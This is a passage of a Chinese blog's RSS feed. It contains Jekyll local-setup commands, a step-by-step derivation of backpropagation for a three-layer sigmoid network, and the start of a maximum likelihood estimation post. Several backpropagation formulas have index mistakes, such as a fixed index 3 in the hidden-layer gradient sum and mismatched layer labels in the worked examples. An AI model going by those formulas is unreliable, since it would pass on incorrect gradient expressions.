&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;bundle install –path vendor/cache
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;或者&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;bundle install –no-deployment
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;再次运行&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;jekyll serve
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;出现以下：
&lt;img src=&quot;/images/posts/JekyllGithub_20161020/Step2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;然后，依据提示，输入：&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;bundle exec jekyll serve
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;输出如下所示：
&lt;img src=&quot;/images/posts/JekyllGithub_20161020/Step3.png&quot; alt=&quot;&quot; /&gt;
可以看到，本地模拟环境成功。&lt;/p&gt;

&lt;p&gt;对于不同版本的 Ruby 搭建的 jekyll &amp;amp; Github 博客环境 时，当需要模拟本地的博客环境时，需要利用下列命令：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;bundle exec jekyll serve
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;参考链接：&lt;br /&gt;
&lt;a href=&quot;https://stackoverflow.com/questions/11885398/is-there-a-fix-for-the-could-not-find-gem-in-any-of-the-sources-error-that-d&quot;&gt;Is there a fix for the “Could not find &lt;em&gt;gem&lt;/em&gt; in any of the sources” error that doesn’t involve deleting Gemfile.lock?&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://stackoverflow.com/questions/6317980/you-have-already-activated-x-but-your-gemfile-requires-y&quot;&gt;You have already activated X, but your Gemfile requires Y&lt;/a&gt;。&lt;/p&gt;

</description>
        <pubDate>Fri, 14 Oct 2016 00:00:00 +0000</pubDate>
        <link>http://leexuan.github.io/2016/10/jekyll_github_blog_install/</link>
        <guid isPermaLink="true">http://leexuan.github.io/2016/10/jekyll_github_blog_install/</guid>
        
        <category>工具使用</category>
        
        
      </item>
    
      <item>
        <title>BP&amp;nbsp;神经网络之初步理解举例 (Backpropagation Neural Networks)</title>
        <description>&lt;p&gt;看到深度学习如此火爆，神经网络相关资料层出不穷，不禁想起研究生阶段上过的神经网络课程，似懂非懂。这次兴起，仔细看了下应用最广泛的神经网络之一的 BP 神经网络，介绍如下文所示。&lt;/p&gt;

&lt;h3 id=&quot;简介&quot;&gt;简介&lt;/h3&gt;
&lt;p&gt;BP (back propagation) 神经网络是1986年由 Rumelhart 和 McClelland 为首的科学家提出的概念，是一种按照误差逆向传播算法训练的多层前馈神经网络。&lt;/p&gt;

&lt;h3 id=&quot;基本原理&quot;&gt;基本原理&lt;/h3&gt;
&lt;p&gt;BP 神经网络是一种按误差反向传播训练的多层前馈网络，其算法称为 BP 算法。利用梯度下降法，调整神经网络中的权重参数，以期使网络的实际输出值和期望输出值的误差均方差为最小，即使得预测输出跟踪给定输出。&lt;/p&gt;

&lt;h3 id=&quot;计算过程&quot;&gt;计算过程&lt;/h3&gt;
&lt;p&gt;BP 神经网络的计算包括两个过程：正向计算和反向计算。&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;正向计算：输入层数据经隐含层逐层处理，最终转向输出层，得出实际输出；&lt;/li&gt;
  &lt;li&gt;反向计算：将实际输出与期望输出间的误差信号沿着网络连接通路反向传播，辅助修正各神经元的权重，以期误差信号最小。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;现在以一个典型的三层神经网络为例说明参数的计算推理调整过程。
&lt;img src=&quot;/images/posts/2016-09-07-MachineLearning_BackPropagationNeuralNetworks/BPDemo.png&quot; alt=&quot;&quot; height=&quot;450px&quot; width=&quot;900px&quot; /&gt;&lt;/p&gt;

&lt;p&gt;如图所示三层神经网络：输入层 $Layer_1$、隐含层 $Layer_2$、输出层 $Layer_3$．输入层包括三个神经元，即输入为 $\boldsymbol{x}=\lbrace x_1,x_2,x_3 \rbrace$，输出为 $\boldsymbol{y}=\lbrace o_1,o_2 \rbrace$．样本数据集为 \(\mathcal{D}=\lbrace (\boldsymbol{x}_i,\boldsymbol{y}_i)\rbrace_{i=1}^{m}\)，\(\boldsymbol{x}_i \in \mathbb{R}^3\)，\(\boldsymbol{y}_i \in \mathbb{R}^2\)，目标输出为 \(o^{\text{T}}_1\) 和 \(o^{\text{T}}_2\)．\(\omega^{\text{L}_k}_{ij}\) 为第 \(k-1\) 层的第 \(i\) 个神经元到第 \(k\) 层的第 \(j\) 个神经元之间的权重．\(\boldsymbol{b}^{\text{L}_k}=\{b^{\text{L}_k}_{i}\}\) 为第 \(k\) 层神经元偏移量集合，\(b^{\text{L}_k}_{i}\) 为第 \(k\) 层第 \(i\) 个神经元的偏移量．\(net^{\text{L}_k}_{i}\) 表示第 \(k\) 层网络的第 \(i\) 个神经元的输入，\(o^{\text{L}_k}_{i}\) 表示第 \(k\) 层网络的第 \(i\) 个神经元的输出，\(f^{\text{L}_k}_{i}(\cdot)\) 表示第 $k$ 层网络的第 $i$ 个神经元的激活函数．&lt;/p&gt;

&lt;p&gt;假设采用常见的激活函数 sigmoid 函数：
\begin{equation}
f(x) = \frac{1}{1+e^{-x}}
\end{equation}
其导数为：
\begin{equation}
f’(x) = f(x)(1-f(x))
\end{equation}&lt;/p&gt;

&lt;p&gt;对于 $Layer_2$ 层第 $j$ 个神经元的输入：&lt;/p&gt;

\[\begin{equation}
net^{\text{L}_2}_{j} = \sum_{i=1}^{3}{\omega^{\text{L}_1}_{ij} \times x_i} + b^{\text{L}_2}_{j}
\end{equation}\]

&lt;p&gt;对于 $Layer_3$ 层的第 $j$ 个神经元的输入：&lt;/p&gt;

\[\begin{equation}
net^{\text{L}_3}_{j} = \sum_{i=1}^{3}{\omega^{\text{L}_2}_{ij} \times o^{\text{L}_2}_i} + b^{\text{L}_3}_{j}
\end{equation}\]

&lt;p&gt;第 \(\text{L}_i\) 层的第 \(j\) 个神经元的输出：&lt;/p&gt;

\[\begin{equation}\label{eqn:output of BP neural networks}
 o^{\text{L}_i}_{j} = f^{\text{L}_i}_{j}{(net^{\text{L}_i}_j)} = \frac{1}{1+e^{-net^{\text{L}_i}_j}}
 \end{equation}\]

&lt;p&gt;输出的总误差为：&lt;/p&gt;

\[\begin{equation}
E_{\text{Total}} = \frac{1}{2}\sum_{j=1}^{2}{(o^{\text{T}}_j - o^{\text{L}_3}_{j})^2} = \frac{1}{2}((o^{\text{T}}_1 - o^{\text{L}_3}_{1})^2 + (o^{\text{T}}_2 - o^{\text{L}_3}_{2})^2)
\end{equation}\]

&lt;p&gt;总误差为是关于 \(o^{\text{L}_3}_{1}\) 和 \(o^{\text{L}_3}_{2}\) 的函数．&lt;/p&gt;

&lt;p&gt;BP 算法基于梯度下降（gradient descent）策略，以目标的负梯度方向对参数进行调整．它是一个迭代学习算法，在迭代的每一轮中采用广义的感知机学习 规则对参数进行更新估计，任一参数 $v$ 的更新估计式为&lt;/p&gt;

\[\begin{equation}
v \leftarrow v + \Delta v
\end{equation}\]

&lt;h4 id=&quot;alayer_2与layer_3间参数调整&quot;&gt;&lt;strong&gt;A．$Layer_2$ 与 $Layer_3$ 间参数调整&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;调整 $Layer_2$ 与 $Layer_3$ 间的权重 \(\omega^{\text{L}_2}_{ij}\)．总误差对 \(\omega^{\text{L}_2}_{ij}\) 的偏导数为：&lt;/p&gt;

\[\begin{align}
\frac{\partial E_{\text{Total}}}{\partial \omega^{\text{L}_2}_{ij}} 
&amp;amp;= \frac{\partial E_{\text{Total}}}{\partial o^{\text{L}_3}_{j}} \cdot \frac{\partial o^{\text{L}_3}_{j}}{\partial net^{\text{L}_3}_{j}} \cdot \frac{\partial net^{\text{L}_3}_{j}}{\partial \omega^{\text{L}_2}_{ij}} \\
&amp;amp;= -(o^{\text{T}}_{j} - o^{\text{L}_3}_{j}) \cdot f^{\text{L}_3}_{j}{(net^{\text{L}_3}_j)}(1 - f^{\text{L}_3}_{j}{(net^{\text{L}_3}_j)}) \cdot o^{\text{L}_2}_{i} \nonumber\\
&amp;amp;= -(o^{\text{T}}_{j} - o^{\text{L}_3}_{j}) \cdot o^{\text{L}_3}_{j}(1 - o^{\text{L}_3}_{j}) \cdot o^{\text{L}_2}_{i} \nonumber
\end{align}\]

&lt;p&gt;令 \(\delta^{\text{L}_2}_{ij}\) 表示 $Layer_2$ 层第 $i$ 个神经元与 $Layer_3$ 层第 $j$ 个神经元间权重的梯度项，则&lt;/p&gt;

\[\begin{equation}
\delta^{\text{L}_2}_{ij} = \frac{\partial E_{\text{Total}}}{\partial o^{\text{L}_3}_{j}} \cdot \frac{\partial o^{\text{L}_3}_{j}}{\partial net^{\text{L}_3}_{j}} = -(o^{\text{T}}_{j} - o^{\text{L}_3}_{j}) \cdot o^{\text{L}_3}_{j}(1 - o^{\text{L}_3}_{j}) 
\end{equation}\]

&lt;p&gt;可以看出， $Layer_2$ 层第 $i$ 个神经元与 $Layer_3$ 层第 $j$ 个神经元间权重的梯度项是与 $i$ 无关的，故连接至 $Layer_3$ 层第 $j$ 个神经元相对应的权重的梯度项均为 \(\delta^{\text{L}_2}_{ij}\)，用 \(\delta^{\text{L}_2}_{\cdot j}\) 表示，&lt;/p&gt;

\[\begin{equation}\label{eqn:Gradient computation between L2 and L3}
\delta^{\text{L}_2}_{\cdot j} = \delta^{\text{L}_2}_{ij} = -(o^{\text{T}}_{j} - o^{\text{L}_3}_{j}) \cdot o^{\text{L}_3}_{j}(1 - o^{\text{L}_3}_{j})
\end{equation}\]

&lt;p&gt;则整体误差 \(E_{\text{Total}}\) 对 \(\omega^{\text{L}_2}_{ij}\) 的偏导数公式写作：&lt;/p&gt;

\[\begin{equation}
\frac{\partial E_{\text{Total}}}{\partial \omega^{\text{L}_2}_{ij}}
= \delta^{\text{L}_2}_{\cdot j} \cdot o^{\text{L}_2}_{i}
\end{equation}\]

&lt;p&gt;则权重 \(\omega^{\text{L}_2}_{ij}\) 的学习公式为：&lt;/p&gt;

\[\begin{align}\label{eqn:Self-updating formular for weights between L2 and L3}
\widehat{\omega}^{\text{L}_2}_{ij} 
&amp;amp;= \omega^{\text{L}_2}_{ij} - \eta \cdot \frac{\partial E_{\text{Total}}}{\partial \omega^{\text{L}_2}_{ij}} \\
&amp;amp;= \omega^{\text{L}_2}_{ij} - \eta \cdot \delta^{\text{L}_2}_{\cdot j} \cdot o^{\text{L}_2}_{i} \nonumber
\end{align}\]

&lt;p&gt;其中，$\eta$ 为学习速率．&lt;/p&gt;

&lt;p&gt;调整 $Layer_3$ 的偏移量参数．$Layer_3$ 的第 $j$ 个神经元的偏移量 \(b^{\text{L}_3}_{j}\) 的梯度为：&lt;/p&gt;

\[\begin{align}
\frac{\partial E_{\text{Total}}}{\partial b^{\text{L}_3}_{j}}
&amp;amp;= \frac{\partial E_{\text{Total}}}{\partial o^{\text{L}_3}_{j}} \cdot \frac{\partial o^{\text{L}_3}_{j}}{\partial net^{\text{L}_3}_{j}} \cdot \frac{\partial net^{\text{L}_3}_{j}}{\partial b^{\text{L}_3}_{j}} \\
&amp;amp;= -(o^{\text{T}}_{j} - o^{\text{L}_3}_{j}) \cdot f^{\text{L}_3}_{j}{(net^{\text{L}_3}_j)}(1 - f^{\text{L}_3}_{j}{(net^{\text{L}_3}_j)}) \cdot 1 \nonumber\\
&amp;amp;= -(o^{\text{T}}_{j} - o^{\text{L}_3}_{j}) \cdot o^{\text{L}_3}_{j}(1 - o^{\text{L}_3}_{j}) \nonumber\\
&amp;amp;= \delta^{\text{L}_2}_{\cdot j} \nonumber
\end{align}\]

&lt;p&gt;偏移 \(b^{\text{L}_3}_{j}\) 的学习公式为：&lt;/p&gt;

\[\begin{equation}\label{eqn:Self-updating formular for bias in L3}
\hat{b}^{\text{L}_3}_{j} = b^{\text{L}_3}_{j} - \eta \cdot \frac{\partial E_{\text{Total}}}{\partial b^{\text{L}_3}_{j}}
= b^{\text{L}_3}_{j} - \eta \cdot \delta^{\text{L}_2}_{\cdot j}
\end{equation}\]

&lt;p&gt;&lt;strong&gt;例如&lt;/strong&gt;，依据公式（\ref{eqn:Self-updating formular for weights between L2 and L3}），对于权重 \(\omega^{\text{L}_2}_{11}\) 的更新学习公式为：&lt;/p&gt;

\[\begin{align*}
\widehat{\omega}^{\text{L}_2}_{11} 
&amp;amp;= \omega^{\text{L}_2}_{11} - \eta \cdot \frac{\partial E_{\text{Total}}}{\partial \omega^{\text{L}_2}_{11}} \\
&amp;amp;= \omega^{\text{L}_2}_{11} - \eta \cdot \delta^{\text{L}_2}_{11} \cdot o^{\text{L}_2}_{1} \\
&amp;amp;= \omega^{\text{L}_2}_{11} - \eta \cdot \big(-(o^{\text{T}}_{1} - o^{\text{L}_3}_{1}) \cdot o^{\text{L}_3}_{1}(1 - o^{\text{L}_3}_{1})\big) \cdot o^{\text{L}_2}_{1} \\
&amp;amp;= \omega^{\text{L}_2}_{11} + \eta \cdot (o^{\text{T}}_{1} - o^{\text{L}_3}_{1}) \cdot o^{\text{L}_3}_{1}(1 - o^{\text{L}_3}_{1}) \cdot o^{\text{L}_2}_{1}
\end{align*}\]

&lt;p&gt;&lt;strong&gt;例如&lt;/strong&gt;，依据公式（\ref{eqn:Self-updating formular for bias in L3}），对于偏移 \(b^{\text{L}_3}_{1}\) 的更新学习公式为：&lt;/p&gt;

\[\begin{align*}
\hat{b}^{\text{L}_3}_{1} 
&amp;amp;= b^{\text{L}_3}_{1} - \eta \cdot \frac{\partial E_{\text{Total}}}{\partial b^{\text{L}_3}_{1}} \\
&amp;amp;= b^{\text{L}_3}_{1} + \eta \cdot (o^{\text{T}}_{1} - o^{\text{L}_3}_{1}) \cdot o^{\text{L}_3}_{1}(1 - o^{\text{L}_3}_{1}) 
\end{align*}\]

&lt;h4 id=&quot;blayer_1与layer_2间参数调整&quot;&gt;&lt;strong&gt;B．$Layer_1$ 与 $Layer_2$ 间参数调整&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;调整 $Layer_1$ 与 $Layer_2$ 间的权重 \(\omega^{\text{L}_1}_{ij}\)．总体误差对 \(\omega^{\text{L}_1}_{ij}\) 的偏导数为：&lt;/p&gt;

\[\begin{align}
\frac{\partial E_{\text{Total}}}{\partial \omega^{\text{L}_1}_{ij}}
&amp;amp;= (\sum_{k=1}^{2}{\frac{\partial E_{\text{Total}}}{\partial o^{\text{L}_3}_{k}} \frac{\partial o^{\text{L}_3}_{k}}{\partial net^{\text{L}_3}_k} \frac{\partial net^{\text{L}_3}_k}{\partial o^{\text{L}_2}_{j}}})  \cdot \frac{\partial o^{\text{L}_2}_{j}}{\partial net^{\text{L}_2}_j} \cdot \frac{\partial net^{\text{L}_2}_j}{\partial \omega^{\text{L}_1}_{ij}} \\
&amp;amp;= (\sum_{k=1}^{2}{\delta^{\text{Layer}_2}_{\cdot k} \omega^{\text{L}_2}_{3k}}) \cdot f^{\text{L}_2}_{j}{(net^{\text{L}_2}_j)}(1 - f^{\text{L}_2}_{j}{(net^{\text{L}_2}_j)}) \cdot x_i \nonumber\\
&amp;amp;= (\sum_{k=1}^{2}{\delta^{\text{Layer}_2}_{\cdot k} \omega^{\text{L}_2}_{3k}}) \cdot o^{\text{L}_2}_{j}(1 - o^{\text{L}_2}_{j}) \cdot x_i \nonumber
\end{align}\]

&lt;p&gt;令 \(\delta^{\text{L}_1}_{ij}\) 表示 $Layer_1$ 层第 $i$ 个神经元与 $Layer_2$ 层第 $j$ 个神经元间权重的梯度项，则&lt;/p&gt;

\[\begin{align}
\delta^{\text{L}_1}_{ij} 
&amp;amp;= (\sum_{k=1}^{2}{\frac{\partial E_{\text{Total}}}{\partial o^{\text{L}_3}_{k}} \frac{\partial o^{\text{L}_3}_{k}}{\partial net^{\text{L}_3}_k} \frac{\partial net^{\text{L}_3}_k}{\partial o^{\text{L}_2}_{j}}})  \cdot \frac{\partial o^{\text{L}_2}_{j}}{\partial net^{\text{L}_2}_j} \\
&amp;amp;= (\sum_{k=1}^{2}{\delta^{\text{Layer}_2}_{\cdot k} \omega^{\text{L}_2}_{3k}}) \cdot o^{\text{L}_2}_{j}(1 - o^{\text{L}_2}_{j}) \nonumber
\end{align}\]

&lt;p&gt;可以看出， $Layer_1$ 层第 $i$ 个神经元与 $Layer_2$ 层第 $j$ 个神经元间权重的梯度项是与 $i$ 无关的，故连接至 $Layer_2$ 层第 $j$ 个神经元相对应的权重的梯度向均为 \(\delta^{\text{L}_1}_{ij}\)，用 \(\delta^{\text{L}_1}_{\cdot j}\) 表示，&lt;/p&gt;

\[\begin{equation}\label{eqn:Gradient computation between L1 and L2}
\delta^{\text{L}_1}_{\cdot j} = \delta^{\text{L}_1}_{ij} = (\sum_{k=1}^{2}{\delta^{\text{Layer}_2}_{\cdot k} \omega^{\text{L}_2}_{3k}}) \cdot o^{\text{L}_2}_{j}(1 - o^{\text{L}_2}_{j})
\end{equation}\]

&lt;p&gt;则整体误差 \(E_{\text{Total}}\) 对 \(\omega^{\text{L}_1}_{ij}\) 的偏导数公式写作：&lt;/p&gt;

\[\begin{equation}
\frac{\partial E_{\text{Total}}}{\partial \omega^{\text{L}_1}_{ij}}
= \delta^{\text{L}_1}_{\cdot j} \cdot x_i
\end{equation}\]

&lt;p&gt;则权重 \(\omega^{\text{L}_1}_{ij}\) 的学习公式为：&lt;/p&gt;

\[\begin{equation}\label{eqn:Self-updating formular for weights between L1 and L2}
\widehat{\omega}^{\text{L}_1}_{ij} = \omega^{\text{L}_1}_{ij} - \eta \cdot \frac{\partial E_{\text{Total}}}{\partial \omega^{\text{L}_1}_{ij}} 
= \omega^{\text{L}_1}_{ij} - \eta \cdot \delta^{\text{L}_1}_{\cdot j} \cdot x_i
\end{equation}\]

&lt;p&gt;整体误差 \(E_{\text{Total}}\) 对 \(b^{\text{L}_2}_{j}\) 的偏导数公式写作：&lt;/p&gt;

\[\begin{align}
\frac{\partial E_{\text{Total}}}{\partial b^{\text{L}_2}_{j}}
&amp;amp;= (\sum_{k=1}^{2}{\frac{\partial E_{\text{Total}}}{\partial o^{\text{L}_3}_{k}} \frac{\partial o^{\text{L}_3}_{k}}{\partial net^{\text{L}_3}_k} \frac{\partial net^{\text{L}_3}_k}{\partial o^{\text{L}_2}_{j}}})  \cdot \frac{\partial o^{\text{L}_2}_{j}}{\partial net^{\text{L}_2}_j} \cdot \frac{\partial net^{\text{L}_2}_j}{\partial b^{\text{L}_2}_{j}} \\
&amp;amp;= (\sum_{k=1}^{2}{\delta^{\text{Layer}_2}_{\cdot k} \omega^{\text{L}_2}_{3k}}) \cdot f^{\text{L}_2}_{j}{(net^{\text{L}_2}_j)}(1 - f^{\text{L}_2}_{j}{(net^{\text{L}_2}_j)}) \cdot 1 \nonumber\\
&amp;amp;= (\sum_{k=1}^{2}{\delta^{\text{Layer}_2}_{\cdot k} \omega^{\text{L}_2}_{3k}}) \cdot o^{\text{L}_2}_{j}(1 - o^{\text{L}_2}_{j}) \nonumber\\
&amp;amp;= \delta^{\text{L}_1}_{\cdot j} \nonumber
\end{align}\]

&lt;p&gt;偏移 \(b^{\text{L}_2}_{j}\) 的学习公式为：&lt;/p&gt;

\[\begin{equation}\label{eqn:Self-updating formular for bias in L2}
\hat{b}^{\text{L}_2}_{j} = b^{\text{L}_2}_{j} - \eta \cdot \frac{\partial E_{\text{Total}}}{\partial b^{\text{L}_2}_{j}}
= b^{\text{L}_2}_{j} - \eta \cdot \delta^{\text{L}_1}_{\cdot j}
\end{equation}\]

&lt;p&gt;&lt;strong&gt;例如&lt;/strong&gt;，依据公式（\ref{eqn:Self-updating formular for weights between L1 and L2}）对于权重 \(\omega^{\text{L}_1}_{23}\) 的更新学习公式为：&lt;/p&gt;

\[\begin{align}\label{eq2:description}
\widehat{\omega}^{\text{L}_1}_{23} 
&amp;amp;= \omega^{\text{L}_2}_{23} - \eta \cdot \frac{\partial E_{\text{Total}}}{\partial \omega^{\text{L}_1}_{23}} \\
&amp;amp;= \omega^{\text{L}_2}_{23} - \eta \cdot \big((\sum_{j=1}^{2}{\frac{\partial E_{\text{Total}}}{\partial o^{\text{L}_3}_{j}} \frac{\partial o^{\text{L}_3}_{j}}{\partial net^{\text{L}_3}_j} \frac{\partial net^{\text{L}_3}_j}{\partial o^{\text{L}_2}_{3}}})  \cdot \frac{\partial o^{\text{L}_2}_{3}}{\partial net^{\text{L}_2}_3} \cdot \frac{\partial net^{\text{L}_2}_3}{\partial \omega^{\text{L}_1}_{23}}\big) \nonumber\\
&amp;amp;= \omega^{\text{L}_2}_{23} - \eta \cdot (\sum_{j=1}^{2}{\delta^{\text{Layer}_2}_{\cdot j} \omega^{\text{L}_2}_{3j}}) \cdot f^{\text{L}_2}_{3}{(net^{\text{L}_2}_3)}(1 - f^{\text{L}_2}_{3}{(net^{\text{L}_2}_3)}) \cdot x_2 \nonumber\\
&amp;amp;= \omega^{\text{L}_2}_{23} - \eta \cdot (\sum_{j=1}^{2}{\delta^{\text{Layer}_2}_{\cdot j} \omega^{\text{L}_2}_{3j}}) \cdot o^{\text{L}_2}_{3}(1 - o^{\text{L}_2}_{3}) \cdot x_2 \nonumber
\end{align}\]

&lt;p&gt;&lt;strong&gt;例如&lt;/strong&gt;，依据公式（\ref{eqn:Self-updating formular for bias in L2}），对于偏移 \(b^{\text{L}_2}_{3}\) 的更新学习公式为：&lt;/p&gt;

\[\begin{align}\label{eq1:description}
\hat{b}^{\text{L}_2}_{3} &amp;amp;= b^{\text{L}_3}_{1} - \eta \cdot \frac{\partial E_{\text{Total}}}{\partial b^{\text{L}_2}_{3}} \\
&amp;amp;= b^{\text{L}_2}_{3} - \eta \cdot \big((\sum_{j=1}^{2}{\frac{\partial E_{\text{Total}}}{\partial o^{\text{L}_3}_{j}} \frac{\partial o^{\text{L}_3}_{j}}{\partial net^{\text{L}_3}_j} \frac{\partial net^{\text{L}_3}_j}{\partial o^{\text{L}_2}_{3}}})  \cdot \frac{\partial o^{\text{L}_2}_{3}}{\partial net^{\text{L}_2}_3} \cdot \frac{\partial net^{\text{L}_2}_3}{\partial b^{\text{L}_2}_{3}}\big) \nonumber\\ 
&amp;amp;=  b^{\text{L}_2}_{3} - \eta \cdot (\sum_{j=1}^{2}{\delta^{\text{Layer}_2}_{\cdot j} \omega^{\text{L}_2}_{3j}}) \cdot f^{\text{L}_2}_{3}{(net^{\text{L}_2}_3)}(1 - f^{\text{L}_2}_{3}{(net^{\text{L}_2}_3)}) \cdot 1 \nonumber\\ 
&amp;amp;= b^{\text{L}_2}_{3} - \eta \cdot (\sum_{j=1}^{2}{\delta^{\text{Layer}_2}_{\cdot j} \omega^{\text{L}_2}_{3j}}) \cdot o^{\text{L}_2}_{3}(1 - o^{\text{L}_2}_{3}) \nonumber
\end{align}\]

&lt;p&gt;需要指出的是学习率 $\eta \in (0,1)$ 控制着算法每一轮迭代中的更新步长，若太多则容易震荡；太小则收敛速录又会过慢．并且公式（\ref{eqn:Self-updating formular for weights between L2 and L3}）、（\ref{eqn:Self-updating formular for bias in L3}）、（\ref{eqn:Self-updating formular for weights between L1 and L2}）和（\ref{eqn:Self-updating formular for bias in L2}）中的学习率也未必相等．&lt;/p&gt;

&lt;h4 id=&quot;c误差反向传播算法&quot;&gt;&lt;strong&gt;C．误差反向传播算法&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;结合上述公式，根据样本参数计算总体误差；根据总体误差，更新神经网络参数；这样，实现信号的正向传递，误差的反向传播，参数的自适应．如此，不停的进行迭代直至满足停止条件．&lt;/p&gt;

&lt;p&gt;具体而言，BP 算法执行以下操作：先将输入示例提供给输入层神经元，然后逐层将信号前传，直到产生输出层的结果；然后计算输出层的误差，再将误差逆向传播至隐层神经元，最后根据隐层神经元的误差来别连接权和偏移进行调整．该法代过程循环进行，直到达到某些停止条件为止，例如训练误差己达到一个很小的值．具体操作流程如下所示．&lt;/p&gt;

&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;输入&lt;/strong&gt;：训练集 \(\mathcal{D}=\lbrace (\boldsymbol{x}_i,\boldsymbol{y}_i)\rbrace_{i=1}^{m}\)&lt;/p&gt;

&lt;p&gt;　　　学习率 $\eta$&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;过程&lt;/strong&gt;：&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;在 $(0,1)$ 范围内随机初始化网络中所有连接权重和偏移量&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;repeat&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;　　&lt;strong&gt;for all&lt;/strong&gt; \((\boldsymbol{x}_k,\boldsymbol{y}_k) \in \mathcal{D}\) &lt;strong&gt;do&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;　　　　根据当前参数和式（\ref{eqn:output of BP neural networks}）计算当前样本的输出\(o^{\text{L}_3}_{j}\)&lt;/li&gt;
  &lt;li&gt;　　　　根据式（\ref{eqn:Gradient computation between L2 and L3}）计算输出层神经元的梯度项 \(\delta^{\text{L}_2}_{\cdot j}\) &lt;/li&gt;
  &lt;li&gt;　　　　根据式（\ref{eqn:Gradient computation between L1 and L2}）计算隐含层各神经元的梯度项 \(\delta^{\text{L}_1}_{\cdot j}\)&lt;/li&gt;
  &lt;li&gt;　　　　根据式（\ref{eqn:Self-updating formular for weights between L2 and L3}）和（\ref{eqn:Self-updating formular for bias in L3}）更新连接权重 \(\omega^{\text{L}_3}_{ij}\) 和偏移 \(b^{\text{L}_3}_{j}\)&lt;/li&gt;
  &lt;li&gt;　　　　根据式（\ref{eqn:Self-updating formular for weights between L1 and L2}）和（\ref{eqn:Self-updating formular for bias in L2}）更新连接权重\(\omega^{\text{L}_2}_{ij}\) 和偏移 \(b^{\text{L}_2}_{j}\) &lt;/li&gt;
  &lt;li&gt;　　&lt;strong&gt;end for&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;until&lt;/strong&gt; 达到停止条件&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;输出&lt;/strong&gt;：连接权重与偏移量确定的多层前馈神经网络&lt;/li&gt;
&lt;/ol&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;扩展&quot;&gt;扩展&lt;/h3&gt;
&lt;p&gt;上面介绍为“标准 BP 算法”，每次仅针对一个训练样例更新权重和偏移，也就是说，算法的更新规则是基于单个的样本的误差推导而得．&lt;/p&gt;

&lt;p&gt;如果类似地推导出基于累积误差最小化的更新规则，就得到了累积误差逆传播（accumulated error backpropagation）算法．累积 BP 算法与标准 BP 算法都很常用．一般来说，标准 BP 算法每次更新只针对单个样例，参数更新得非常频繁，而且对不同样例进行更新的效果可能出现“抵消”现象．因此，为了达到同样的累积误差极小点，标准 BP 算法往往需进行更多次数的法代．累积 BP 算法直接针对累积误差最小化，它在读取整个训练集 \(\mathcal{D}\) 一遍后才对参数进行更新，其参数更新的频率低得多．但在很多任务中，累积误差下降到一定程度之后，进一步下降会非常缓慢，这时标准 BP 往往会更快获得较好的解，尤其是在训练集 \(\mathcal{D}\) 非常大时更明显.&lt;/p&gt;

&lt;!--
--&gt;

</description>
        <pubDate>Mon, 08 Aug 2016 00:00:00 +0000</pubDate>
        <link>http://leexuan.github.io/2016/08/MachineLearning_BackPropagationNeuralNetworks/</link>
        <guid isPermaLink="true">http://leexuan.github.io/2016/08/MachineLearning_BackPropagationNeuralNetworks/</guid>
        
        <category>机器学习</category>
        
        
      </item>
    
      <item>
        <title>参数估计之最大似然估计(Maximum Likelihood Estimate，MLE)</title>
        <description>&lt;h3 id=&quot;简介&quot;&gt;简介&lt;/h3&gt;

&lt;p&gt;设总体 $X$ 的分布函数的形式已知，但它的一个或多个参数未知，借助于总体 $X$ 的样本来估计总体未知的参数的值得问题称为&lt;strong&gt;参数的点估计&lt;/strong&gt;问题。&lt;/p&gt;

&lt;p&gt;点估计问题的一般提法如下：设总体 $X$ 的分布函数 $F(x;\theta)$ 的形式已知，$\theta$ 是待估计参数。$X_1,X_2,\cdots,X_n$ 是 $X$ 的一个样本，$x_1,x_2,\cdots,x_n$ 是相应的一个样本值。点估计问题就是要构造一个适当的统计量 $\hat{\theta}(X_1,X_2,\cdots,X_n)$，用它的观察值 $\hat{\theta}(x_1,x_2,\cdots,x_n)$ 作为未知参数 $\theta$ 的近似值。我们称 $\hat{\theta}(X_1,X_2,\cdots,X_n)$ 为 $\theta$ 的估计量，称 $\hat{\theta}(x_1,x_2,\cdots,x_n)$ 为 $\theta$ 的估计值。&lt;/p&gt;

&lt;h3 id=&quot;最大似然估计法&quot;&gt;最大似然估计法&lt;/h3&gt;
&lt;p&gt;利用已知的样本结果，反推最有可能（最大概率）导致这样结果的参数值，即“模型已定，参数未知”。&lt;/p&gt;

